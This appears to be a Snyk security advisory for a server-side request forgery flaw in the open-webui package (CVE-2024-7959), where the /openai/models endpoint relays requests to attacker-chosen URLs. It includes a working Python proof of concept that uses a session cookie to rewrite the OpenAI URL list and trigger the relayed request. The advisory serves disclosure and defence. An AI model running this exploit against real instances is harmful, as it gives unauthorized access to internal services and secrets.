Server-side Request Forgery (SSRF) Affecting open-webui package, versions [0,]


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.04% (11th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Server-side Request Forgery (SSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-OPENWEBUI-9684949
  • published10 Apr 2025
  • disclosed20 Mar 2025
  • creditOussama

Introduced: 20 Mar 2025

NewCVE-2024-7959  (opens in a new tab)
CWE-918  (opens in a new tab)

How to fix?

There is no fixed version for open-webui.

Overview

open-webui is an Open WebUI

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the /openai/models endpoint. An attacker can manipulate the OpenAI URL to any destination without validation, enabling the endpoint to initiate requests to the specified URL and relay the response. This vulnerability permits unauthorized access to internal services and could potentially allow command execution by accessing instance secrets.

PoC

import requests

cookies = {
    'token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijk3ZjBmZmYxLTExZDgtNDRmYS04YzM0LTdhZTRmOGIxZjg3OCJ9.1m79MCRwHM25ThaN4j6YZArdXc9YOQ8SUJyAsPVStFk',
}

headers = {
    'Content-Type': 'application/json',
    'Accept': 'application/json',
}


json_data = {
    "urls": ["http://localhost:8888/poc?"]
}

response = requests.post('http://localhost:3000/openai/urls/update', cookies=cookies, headers=headers, json=json_data)

response = requests.get('http://localhost:3000/openai/models/0', cookies=cookies, headers=headers)

print(response.text)

CVSS Base Scores

version 4.0
version 3.1